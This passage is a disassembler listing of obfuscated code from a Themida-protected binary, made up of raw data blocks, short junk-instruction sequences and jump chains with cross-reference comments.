		dd 580000F6h, 83515A58h, 348904ECh, 18E95224h, 8900000Bh
		dd 0AEE9242Ch, 8B000070h, 81662424h, 662170C3h,	0A1E9C301h
		dd 8BFFFFEDh, 5452243Ch, 127DAE9h, 59E95200h, 6600009Ch
		dd 0E924048Bh, 15E5h, 48BC689h,	4C48324h, 348BF031h, 4EC8124h
		dd 89000000h, 0E589242Ch, 4C581h, 0C5810000h, 4, 0FFD5E3E9h
		dd 24248BFFh, 5C243487h, 590B68h, 241C8900h, 10F0CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56325D:				; CODE XREF: Themida_:00569828j
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5644D3
; ---------------------------------------------------------------------------
		dd 66C8305Ch, 68240C8Bh, 6556h,	54242C89h, 9023E95Dh, 81450000h
		dd 4970F9C5h, 5DE82938h, 6858C601h, 3165h, 0BA241489h
		dd 2, 14E0EE81h, 0D60104E8h, 6493E9h, 81DEF700h, 0A6D24CEEh
		dd 0DB90E9FFh, 4BA0000h, 0E9000000h, 831h, 81E28952h, 4C2h
		dd 4EA8300h, 5C241487h,	91BFE9h, 82E78000h, 0CA5CE950h
		dd 815E0000h, 0C64B19CEh, 0B6C6815Eh, 813A4669h, 0E82A5CC6h
		dd 8BF18943h, 3DE92434h, 54000090h, 0E924048Bh,	2298h
		dd 4C381h, 0EB830000h, 6CEAE904h, 0F5810000h, 0F2103A04h
		dd 609C681h, 0EE014DF8h, 609EE81h, 0CAE94DF8h, 290000FEh
		dd 0F58159CDh, 3330524Ch, 0C85DE9h, 62A5B800h, 0BB5364C4h
		dd 35136D46h, 0EA8CB81h, 0E3C15F6Bh, 0DFEB8104h, 1F7B6FEh
		dd 9374E9D8h, 0E2890000h, 8288E9h, 75EB8100h, 81771F3Ah
		dd 654A7BCBh, 81DBF732h, 0A19AAC3h, 0A3CB8123h,	8111720Ah
		dd 0FA1BA7EBh, 6EE813Fh, 0E9502355h, 7CF2h
; ---------------------------------------------------------------------------


loc_563394:				; CODE XREF: Themida_:00566565j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56394C
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 4EB8100h, 87000000h, 44E9241Ch
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5633B3:				; CODE XREF: Themida_:0057267Cj
		mov	ecx, 166B1552h
		jmp	loc_56720C
; ---------------------------------------------------------------------------
aQvsM		db 'QVé',8,'M',0
		align 4
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	0E589242Ch, 4C581h
		dd 0EC830000h, 24148904h, 0A606E9h, 2C78300h, 31243C33h
		dd 3C33243Ch, 24248B24h, 9C242CD3h, 0FFD314E9h,	0C335BFFh
		dd 240C3124h, 4549E9h, 0BD555900h, 11BF4A5h, 96E9EE29h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56341B:				; CODE XREF: Themida_:00574874j
		neg	bh
		sub	bh, 6Fh
		xor	cl, bh
		pop	ebx
		add	dh, cl
		jmp	loc_563D30
; ---------------------------------------------------------------------------


loc_56342A:				; CODE XREF: Themida_:00564FBDj
		push	edi
		push	eax
		jmp	loc_574CC5
; ---------------------------------------------------------------------------


loc_563431:				; CODE XREF: Themida_:0056976Ej
		or	eax, eax
		jz	loc_573CFE
		push	dword ptr [edi+1Ch]
		jmp	loc_5706BB
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 6E536851h, 14890000h, 0F179E924h,	665C0000h, 48F6654h
		dd 83536624h, 148904ECh, 4EC8324h, 2835E9h, 8BD02900h
		dd 0E9502414h, 7E1Ah, 0E92434FFh, 0B8ADh, 4C4815Bh, 0E9000000h
		dd 0FFFFEC77h, 0BA241489h, 4DF6186Dh, 0FFFFD4E9h, 247401FFh
		dd 3C8B5E04h, 4C48324h,	4EC81h,	34890000h, 72BB5324h, 0E952827Fh
		dd 1104Fh
; ---------------------------------------------------------------------------


loc_5634B8:				; CODE XREF: Themida_:00576024j
		pop	edx
		push	39C8h
		jmp	loc_562ABE
; ---------------------------------------------------------------------------


loc_5634C3:				; CODE XREF: Themida_:0056B9EFj
		mov	dx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_562734
; ---------------------------------------------------------------------------


loc_5634CF:				; CODE XREF: Themida_:005701E6j
		push	ebx
		mov	ebx, 5B297197h
		shl	ebx, 3
		jmp	loc_5636FB
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 58h
		dd 8100F55Ch, 0F41345EEh, 22EE8101h, 813F5009h,	8043B9C6h
		dd 7329E93Ch, 0C8010000h, 3FDFBD55h, 0B5E9774Dh, 89000062h
		dd 4CBA2414h, 151780Bh,	1606E9D6h, 0CA810001h, 6256630Eh
		dd 0CD8E281h, 16E926CEh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563527:				; CODE XREF: Themida_:00563D79j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_56883B
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFEFD9h
; ---------------------------------------------------------------------------


loc_563540:				; CODE XREF: Themida_:0056E5DDj
		add	ebp, 4
		jmp	loc_576102
; ---------------------------------------------------------------------------
		db 50h
		dd 8D3114B8h, 2FDF0D59h, 282D688Dh, 81FEE1CEh, 1F3F12C2h
		dd 4AACE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563566:				; CODE XREF: Themida_:005731E5j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		not	edx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	6DD2h
		mov	[esp], ebx
		jmp	loc_56E63F
; ---------------------------------------------------------------------------
		db 87h
		dd 0FF5C241Ch, 34FF2434h, 0D4AEE924h, 0F1F60000h, 0CCB60F66h
		dd 5F3468h, 24048900h, 405E089h, 83000000h, 0C8904ECh
		dd 26824h, 5590000h, 442F5FBEh,	0B951C829h, 6B424019h
		dd 1406C181h, 0D1F7636Dh, 4AFF181h, 814116BAh, 44B06EC1h
		db 1Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 27EC05CFh
		or	edi, 0A3D1152h
		neg	edi
		push	eax
		mov	eax, 6DAF6254h
		add	edi, 5BBF0B01h
		add	edi, eax
		sub	edi, 5BBF0B01h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56D4C5
; ---------------------------------------------------------------------------
aISrn		db '‰ÁéR­',0
		align 2


loc_563622:				; CODE XREF: Themida_:0056E91Aj
		mov	bl, ah
		pop	eax
		jmp	loc_56BEB6
; ---------------------------------------------------------------------------
		dw 525Ch
		dd 21E93BB2h, 87000006h, 248B2434h, 24543124h, 575EE904h
		dd 0E9590000h, 5FDCh, 4C581h, 96E90000h
		db 79h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563653:				; CODE XREF: Themida_:005707CBj
		add	edx, ebp
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56B765
; ---------------------------------------------------------------------------


loc_563661:				; CODE XREF: Themida_:00561371j
		mov	edi, 63BF6607h
		push	edx
		mov	edx, 4B3929A5h
		jmp	loc_56DD66
; ---------------------------------------------------------------------------


loc_563671:				; CODE XREF: Themida_:005755E4j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 9534924h
		shr	edx, 4
		dec	edx
		neg	edx
		jmp	loc_56FE67
; ---------------------------------------------------------------------------
		dd 0B3241C89h, 8E3C08Eh, 20CEEB80h, 0EDC05BDDh,	65F58002h
		dd 0E959EB00h, 5E7Eh, 0E0B5E95Dh, 0F781FFFFh, 8FDEBCDDh
		dd 89F88950h, 24048BC2h, 10CC7E9h, 241C8900h, 192CEFBBh
		dd 0D64EE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5636CA:				; CODE XREF: Themida_:00567EB1j
		xchg	edx, esi
		xchg	esi, edi
		add	edi, 16E76067h
		sub	edi, 6CF67A60h
		inc	edi
		push	1F29h
		jmp	loc_5654D5
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 8704C483h, 0AFE9240Ch
		db 25h,	1, 0
; ---------------------------------------------------------------------------


loc_5636F3:				; CODE XREF: Themida_:0056812Cj
		xor	dl, 0F0h
		jmp	loc_570071
; ---------------------------------------------------------------------------


loc_5636FB:				; CODE XREF: Themida_:005634D8j
		sub	ebx, 50CC7B0Fh
		inc	ebx
		jmp	loc_574D45
; ---------------------------------------------------------------------------


loc_563707:				; CODE XREF: Themida_:00571399j
		add	[esp+4], edi
		pop	edi
		push	ebp
		mov	ebp, 6AAB5909h
		sub	dword ptr [esp+4], 7F4D12B8h
		sub	dword ptr [esp+4], 74140F2Dh
		jmp	loc_569C74
; ---------------------------------------------------------------------------


loc_563727:				; CODE XREF: Themida_:005661A0j
		mov	[esp], ecx
		jmp	loc_566F42
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE92414h, 35000078h, 7A2F1367h, 0C7732B25h,	6306350Ah
		dd 0C3890A04h, 0E9DF0158h, 562Fh, 8324348Bh, 0FB0104C4h
		dd 59C3815Fh, 0F73D6058h, 76CD68DBh, 34890000h,	1144BE24h
		dd 0F32907A0h, 0DA89525Eh, 0E95AD589h, 10128h, 242ABA52h
		dd 0EA815D63h, 40DA1B92h, 161BC281h, 0DAF75DDCh, 2414F752h
		dd 52C2815Ah, 1859AE1h,	0CDE95AD0h, 810000A8h, 26F9242Ch
		dd 34FF1DA2h, 0C4835824h, 7F5A6804h, 14890000h,	6ABB5324h
		dd 892BF53Ch, 0F2315BDAh, 0F231D631h, 2414F756h, 68F2875Eh
		dd 5A8Ah, 0E9241489h, 100B8h, 0B047E959h, 4050000h, 83000000h
		dd 48704C0h, 5BE95C24h,	0BF000027h, 4, 0ECE9FE89h
		db 18h,	1, 0
; ---------------------------------------------------------------------------


loc_5637FF:				; CODE XREF: Themida_:00574038j
		push	ebx
		mov	ebx, 1D6673F0h
		jmp	loc_567BAF
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 8224F681h, 0BB5391BBh, 7C5204AFh, 15BD801h, 4AF2DF0h
		dd 525E7C52h, 3A4650BAh, 0ADEA815Eh, 0C114511Eh, 0D2F706EAh
		dd 2646EA81h, 58E9BA2Bh, 0F7000010h, 8EDC1D5h, 0A22AED81h
		dd 0CAE90048h, 0F7000006h, 1C8B2414h, 4C48124h,	81000000h
		dd 0D6C9C9EBh, 3194E9A9h, 0E1890000h, 0F5C7E950h, 474FFFFFh
		dd 663CE9h
		db 0
; ---------------------------------------------------------------------------


loc_563875:				; CODE XREF: Themida_:00570A71j
		pop	eax
		push	edi
		push	ecx
		mov	ecx, 3110B0Ch
		jmp	loc_56F8CF
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 29115AE8h, 0BD6EC781h, 0F901F5B8h, 2013E9h, 4896600h
		dd 0CE77E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56389E:				; CODE XREF: Themida_:00568C0Aj
		sub	[esp], esi
		jmp	loc_575C51
; ---------------------------------------------------------------------------
		dw 1568h
		dd 5917CF7Eh, 5505E9C1h, 0BDh, 0E9CD2900h, 11AA3h
; ---------------------------------------------------------------------------


loc_5638BC:				; CODE XREF: Themida_:005733A8j
		add	edx, 78406875h
		sub	edx, 0EDDA93ECh
		sub	esi, edx
		pop	edx
		add	eax, esi
		jmp	loc_56876F
; ---------------------------------------------------------------------------


loc_5638D2:				; CODE XREF: Themida_:00573072j
		not	esi
		sub	esi, 0B09022F3h
		jmp	loc_571263
; ---------------------------------------------------------------------------
		db 0B0h
		dd 4EC814Ch, 89000000h,	0E9532414h, 4C57h, 7D12B3BAh, 0E9C201F4h
		dd 0BC0Eh
; ---------------------------------------------------------------------------


loc_5638FC:				; CODE XREF: Themida_:00560C81j
		mov	ebx, 5E0E785Eh
		dec	ebx
		jmp	loc_566F2D
; ---------------------------------------------------------------------------


loc_563907:				; CODE XREF: Themida_:00563A16j
		push	ebp
		mov	ebp, edi
		push	ebp
		pop	ebx
		jmp	loc_568F76
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
aIth4		db '‰âh\4',0
		dw 8900h
		dd 5B54241Ch, 4B850h, 0C3010000h, 4EB8358h, 5C241C87h
		dd 68240C89h, 56461FD9h, 0C565E9h, 0EE815900h, 4, 0E9243433h
		dd 0F5A3h
; ---------------------------------------------------------------------------


loc_56394C:				; CODE XREF: Themida_:00563398j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		push	ebp
		mov	ebp, 572E45A1h
		jmp	loc_5742FB
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 11F1DE9h,	48B6600h, 0EC815324h, 4, 0E9242489h, 0ADE4h
		dd 0B171F681h, 0F5899A72h, 0A7C3815Eh, 292F5138h, 0ED53E9EBh
		dd 0EF810000h, 0CCDDD03Ah, 0E95FFA01h, 0FFFFCD71h, 0FFCD6CE9h
		dd 5E829FFh, 375A728Fh,	7C62355Dh, 0EC836BF6h, 243C8904h
		dd 0B7879BFh, 9D99E910h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5639C6:				; CODE XREF: Themida_:0056099Aj
		add	edi, ebx
		jmp	loc_57238D
; ---------------------------------------------------------------------------


loc_5639CD:				; CODE XREF: Themida_:00566BE2j
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		pop	ecx
		jmp	loc_567A76
; ---------------------------------------------------------------------------
		dw 489h
		dd 55585424h, 0AA397DBDh, 6F29E911h, 5B5A0000h,	0C126E9h
		dd 30E95000h, 5FFFFFE2h, 3DBB534Ah, 0E957C704h,	0E710h
		dd 9F6BE6BAh, 0E9D7213Bh, 0A777h
; ---------------------------------------------------------------------------


loc_563A10:				; CODE XREF: Themida_:00571B85j
		push	edi
		mov	edi, 1BA14269h
		jmp	loc_563907
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFF583E9h, 2BD55FFh, 1000000h, 0E9555DEFh, 0FFFFDC24h
		dd 81242489h, 42404h, 348B0000h, 4C48124h, 81000000h, 4C6h
		dd 55565300h, 2AE0E9h, 24048B00h, 4C481h, 0F5E90000h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563A5F:				; CODE XREF: Themida_:0056884Bj
		pop	ebx
		sub	eax, 0F721D94h
		sub	eax, 655D1995h
		add	esi, 1E9E0DDCh
		add	esi, 14A67528h
		add	esi, 60793187h
		add	esi, eax
		sub	esi, 60793187h
		sub	esi, 14A67528h
		jmp	loc_5668FB
; ---------------------------------------------------------------------------
aRcdnXSd	db '½rc„NÁå',8,'é„}',0
		align 4
		dd 50EE815Dh, 2D6D9903h, 3E1126Dh, 6D05F001h, 5E03E112h
		dd 15EFE9h, 0E9D6F700h,	793h
; ---------------------------------------------------------------------------


loc_563ABC:				; CODE XREF: Themida_:0056585Dj
		neg	esi
		or	esi, 350D14A5h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 7F9C426Eh
		neg	edx
		not	edx
		not	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		add	edx, 0EFAC393Ch
		and	esi, edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_575B10
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0E5h
		dd 21FFFFE5h, 0E95B1C5Fh, 0FFFFCC0Dh, 0E4157EBEh, 6E6C126h
		dd 0E6C1D6F7h, 4EDEF708h, 0FF36E9h, 268D6800h, 815A33DDh
		dd 0AE101CF2h, 0E2814A27h, 6461DAEh, 100D0E9h, 72BD5500h
		dd 810D115Bh, 84984EDh,	6DC58159h, 0C139114Ah, 0F58103EDh
		dd 1DA34B8Fh, 875DE829h, 248B2404h, 24148924h, 0FE68h
		dd 24148B00h, 0E904EC83h, 11A8Eh, 542F81BDh, 6800h, 2C290000h
		dd 0CD815D24h, 300D1907h, 0A042ED81h, 0EB01FD7Dh, 83242C8Bh
		dd 34FF04C4h, 240C8B24h, 4A26E9h
		db 0
; ---------------------------------------------------------------------------


loc_563B99:				; CODE XREF: Themida_:00572C94j
		add	eax, 4
		push	edi
		jmp	loc_570348
; ---------------------------------------------------------------------------
		dd 505DEB01h, 632EE9h
		db 0
; ---------------------------------------------------------------------------


loc_563BAD:				; CODE XREF: Themida_:00575C39j
		xor	eax, 4A20795h
		jmp	loc_5616DE
; ---------------------------------------------------------------------------


loc_563BB7:				; CODE XREF: Themida_:0056E439j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_56767F
; ---------------------------------------------------------------------------


loc_563BC4:				; CODE XREF: Themida_:00570396j
		push	esi
		push	ecx
		mov	ecx, 6A5C0698h
		add	ecx, 5FF23F0Fh
		xor	ecx, 519A324Fh
		and	ecx, 2B465E03h
		dec	ecx
		xor	ecx, 6012072h
		add	ecx, 1E52F063h
		mov	esi, ecx
		pop	ecx
		mov	edi, 3118676Ah
		jmp	loc_56A3E9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 38ACC281h, 0DA294F93h, 8904EC83h, 0B1B9240Ch
		dd 815E903Dh, 0CF1E6CC1h, 0D1F7411Ah, 4EC8149h,	89000000h
		dd 0FCBA2414h, 1328C10h, 24148BD1h, 5E08950h, 4, 405h
		dd 24048700h, 99C1815Ch, 0E9403605h, 0BDD0h, 0E9243C89h
		dd 0E403h, 0E911EA80h, 5502h, 66BD555Fh, 0E9396227h, 1B94h
		dd 4C481h, 0C6810000h, 4, 329968h, 0DA45E900h, 0BBFFFFh
		dd 29000000h, 5BD889C3h, 0B812E9h, 4EC78100h, 5612FE4Ch
		dd 0D51BE9h, 80E95900h,	8B0000C0h, 0C481243Ch, 4, 4C781h
		dd 0EF810000h, 4, 8B243C87h, 0C892424h,	0F4E95024h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563CC3:				; CODE XREF: Themida_:005728B9j
		push	edi
		push	esi
		mov	esi, 53C6759h
		push	eax
		jmp	loc_564873
; ---------------------------------------------------------------------------
		dd 2404875Ah, 3420E95Ch, 0EAC00000h, 16E95005h,	8B0000CDh
		dd 14892424h, 27E95724h, 8B0000FDh, 9EE92424h, 1FFFFE1h
		dd 53585EF7h, 4A08E9h, 94E95B00h, 890000E9h, 3ACB68C2h
		dd 14890000h, 0B8E95324h, 6800010Eh, 53AEh, 0BF243C89h
		dd 651D348Bh, 53E7814Fh, 0E932F737h, 79F5h
; ---------------------------------------------------------------------------


loc_563D30:				; CODE XREF: Themida_:00563425j
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	3E8Fh
		mov	[esp], ebx
		jmp	loc_572998
; ---------------------------------------------------------------------------
		db 88h
		dd 24148BF5h, 0F604C483h, 66EB88D5h, 0D525E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563D62:				; CODE XREF: Themida_:00576112j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_563527
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 1B6A503Ch, 72C1C281h, 0E94A044Eh, 77Fh, 4506E5C1h, 88EDC581h
		dd 0EE898A72h, 7EEC15Dh, 8103E6C1h, 575C84C6h, 0F8B8507Eh
		dd 9615128h, 57E958C6h,	81000082h, 5A75D6E1h, 5E1C10Fh
		dd 0A3ABB53h, 0D9296846h, 0FF5A515Bh, 81592434h, 4C4h
		dd 0F1BB5300h, 553CB176h, 0D33F8ABDh, 0E9EB097Fh, 6DA6h
		dd 34FFC830h, 0EC815924h, 4, 89241C89h,	670A68E3h, 49E90000h
		dd 56FFFFD8h, 4BEh, 5EF10100h, 0C2B7E9h, 24143100h, 8B241433h
		dd 1C892424h, 0F5A5E924h, 8B5B0000h, 2DE92414h,	53FFFFEDh
		dd 863D86BBh, 69E38160h, 4310C813h, 5DF38143h, 814F845Ah
		dd 43483EBh, 5BDF29F7h,	0E906EFC1h, 14D6h, 4204332Dh, 240C8B56h
		dd 5704C483h, 74CD6BFh,	0FCE9561Ah, 0B900008Ch,	78CE5B54h
		dd 4CF1E981h, 0D1F7308Bh, 0F7D9F741h, 8E92E9D1h, 0E9560000h
		dd 1F9h
; ---------------------------------------------------------------------------


loc_563E84:				; CODE XREF: Themida_:00574591j
		sub	[esp+4], edx
		jmp	loc_574395
; ---------------------------------------------------------------------------
aPs_		db 'Pé.<',0
		dw 5800h
		dd 3005E9h
		db 0
; ---------------------------------------------------------------------------


loc_563E99:				; CODE XREF: Themida_:0056F3A2j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	esi, [esp]
		jmp	loc_575189
; ---------------------------------------------------------------------------


loc_563EC1:				; CODE XREF: Themida_:005717CAj
		push	edx
		push	esp
		pop	edx
		jmp	loc_565038
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 0E9243431h, 0A010h
; ---------------------------------------------------------------------------


loc_563ED4:				; CODE XREF: Themida_:0056B14Bj
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, 3E095EACh
		add	ebx, edi
		add	ebx, 3E095EACh
		pop	edi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_56BB79
; ---------------------------------------------------------------------------
		dd 54241489h, 0E924148Bh, 67C9h, 4C481h, 0EC830000h, 24148904h
		dd 0FFF3A5E9h, 0EDE955FFh, 0FF0000FAh, 90E92434h, 0B8000027h
		dd 3E340CBBh, 15EF031h,	0C78158C7h, 2, 0FFCC3EE9h, 0E28952FFh
		dd 4C281h, 8BE90000h, 0B100009Eh, 1F3E991h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563F52:				; CODE XREF: Themida_:00569BA3j
		push	edi
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		push	7A451FF2h
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, 364D1A8Ah
		jmp	loc_5653AF
; ---------------------------------------------------------------------------
		dd 59CF3166h, 5AF78166h, 0E7C1666Ah, 66506608h,	66C522B8h
		dd 78E9C781h, 42C78166h, 4F92E92Dh, 0E2890000h,	1691B951h
		dd 0E1E94C8Fh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_563F9F:				; CODE XREF: Themida_:005721C0j
		mov	ecx, [esp]
		push	241Eh
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56E9DC
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 6F090000h, 2434FF1Ch, 0E789575Dh, 476FBB53h
		dd 0D3F703AEh, 571CE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563FDA:				; CODE XREF: Themida_:0056BF42j
		mov	[esp], edi
		mov	edi, 3DAE640Eh
		jmp	loc_56D428
; ---------------------------------------------------------------------------
		db 29h
		dd 0EC8150FBh, 4, 0BF243C89h, 691600A7h, 8904EC83h, 2C81243Ch
		dd 0A12E2824h, 24048B6Eh, 4C481h, 28050000h, 0E96EA12Eh
		dd 0EAFFh, 8CEB8058h, 0C380CB00h, 0C8B668Ch, 2C48124h
		dd 68000000h, 1987h, 0E9241489h, 0E88Eh, 0E9F1F766h, 0A69Bh
		dd 0EB6E959h, 0E9550001h, 2ECBh, 83242C8Bh, 0D60104C4h
		dd 40E95755h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56405B:				; CODE XREF: Themida_:00561BACj
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56C36D
; ---------------------------------------------------------------------------


loc_56406C:				; CODE XREF: Themida_:0056CF63j
		sub	ebx, 6CF90382h
		add	ebx, 570B94E2h
		jmp	loc_56B1DB
; ---------------------------------------------------------------------------
		db 0BEh, 30h, 28h
		dd 0F231BD02h, 8324348Bh, 0EF8104C4h, 31673EDBh, 0E775E9h
		dd 24048900h, 0D61FE9h,	0C875C00h, 24248B24h, 24042966h
		dd 0C667E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5640AE:				; CODE XREF: Themida_:00568770j
		push	ebx
		mov	ebx, 17CD0981h
		jmp	loc_56BE80
; ---------------------------------------------------------------------------
		db 5Bh,	66h, 8Bh
		dd 94E92414h, 660000F1h, 55CCB60Fh, 6EDEE9h, 24148900h
		dd 0EC815A54h, 4, 52243489h, 1152CE9h, 0D5285800h, 0C853E9h
		dd 24048B00h, 106ABE9h,	50E95C00h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5640F7:				; CODE XREF: Themida_:0056D55Dj
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		jmp	loc_56F625
; ---------------------------------------------------------------------------


loc_564103:				; CODE XREF: Themida_:005694B8j
		push	edi
		jmp	loc_566843
; ---------------------------------------------------------------------------


loc_564109:				; CODE XREF: Themida_:005615A0j
		add	edx, 0A4D5CB8h
		pop	ecx
		mov	ecx, [edx]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_570DEC
; ---------------------------------------------------------------------------
		dw 487h
		dd 126FE924h, 63680001h, 89000009h, 8CB62414h, 0FFE87DE9h
		dd 8BC888FFh, 51E9240Ch
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56414F:				; CODE XREF: Themida_:005677CAj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_570546
; ---------------------------------------------------------------------------
		db 81h
		dd 2C2h, 4EC8100h, 0E9000000h, 2DE8h, 0E92434FFh, 0B2ADh
		dd 79FCF181h, 0E9C13912h, 3043E906h, 0F6810000h, 1E7475BBh
		dd 9A48F681h, 0F301215Bh, 4B9515Eh, 0E9000000h,	0BACBh
; ---------------------------------------------------------------------------


loc_5641A0:				; CODE XREF: Themida_:00571A02j
		pop	edx
		shr	ch, 2
		inc	ch
		add	ch, 80h
		sub	ch, 87h
		add	ch, 0B1h
		jmp	loc_570FFD
; ---------------------------------------------------------------------------
		dd 0C769DB8h, 0CA45E929h, 0CF81FFFFh, 2F3A1F61h, 40A3C781h
		dd 0FD011085h, 4C5835Fh, 5C242C87h, 34FFF021h, 24348B24h
		dd 81E38953h, 4C3h, 4C38300h, 12A5E9h, 4B800h, 0EF810000h
		dd 59FA5272h, 5851C781h, 0C729067Ch, 5851EF81h,	0C781067Ch
		dd 59FA5272h, 0DFC8E958h, 0C481FFFFh, 4, 63CE8146h, 0E90D8A50h
		dd 0C85Ch, 50242C8Bh, 0F1B0E9h,	81E6D100h, 554353CEh, 0F7EE8148h
		dd 0E94BFFF3h, 0EB55h, 0DE88EB88h, 83241C8Bh, 0DDE904C4h
		dd 46000007h, 7D70E681h, 0F6817612h, 52726E8h, 8745EE87h
		dd 0F9E681EEh, 814E4652h, 803942CEh, 30E92Ah, 8F640000h
		dd 0C49BE902h, 0E9ACFFFFh, 5562h, 57A5C581h, 0F501187Eh
		dd 57A5ED81h, 895E187Eh, 2434FFEFh, 81242C8Bh, 4C4h, 5859E900h
		dd 0EEC10000h, 77EE8103h, 10DD0C7h, 0BE565EF1h,	4, 0E95EF129h
		dd 10693h
; ---------------------------------------------------------------------------


loc_5642BC:				; CODE XREF: Themida_:0056E2E7j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_56B3C6
; ---------------------------------------------------------------------------
		dw 5B66h
		dd 8BC8285Bh, 0C483240Ch, 4EC8304h, 0E9241489h,	10B58h
		dd 790468h, 240C8900h, 0DA647FB9h, 0E9D1F706h, 0F509h
		dd 242BE952h, 0C4810000h, 4, 6344E9h, 0ACE95900h
		db 0, 1, 0
; ---------------------------------------------------------------------------


loc_56430B:				; CODE XREF: Themida_:005611D9j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_56AEA1
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 2048EE81h, 0EE815C6Ch, 5A1016BCh, 68242C8Bh,	5D45h
		dd 89241C89h, 4C381E3h,	83000000h, 0D0E904C3h, 81000047h
		dd 943941C7h, 0D6E9537Ah, 0BE0000EBh, 0C7A70C3h, 8247401h
		dd 246C295Eh, 246C8104h, 7A70C304h, 0FDA8E90Ch,	0EC830000h
		dd 24348904h, 5E2414F7h, 176668h, 8732E900h, 815C0000h
		dd 0BF3040EBh, 0E9F30154h, 0DBEBh
; ---------------------------------------------------------------------------


loc_56439C:				; CODE XREF: Themida_:0056A4EEj
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 5ABC53F7h
		sub	edx, ebp
		add	edx, 5ABC53F7h
		pop	ebp
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5616D6
; ---------------------------------------------------------------------------
		db 31h,	14h, 24h
		dd 8B241433h, 0C3012424h, 4EC81h, 3C890000h, 4BDF6824h
		dd 815F3352h, 0CC562BC3h, 38C38164h, 8154E05Ch,	0CD5959C3h
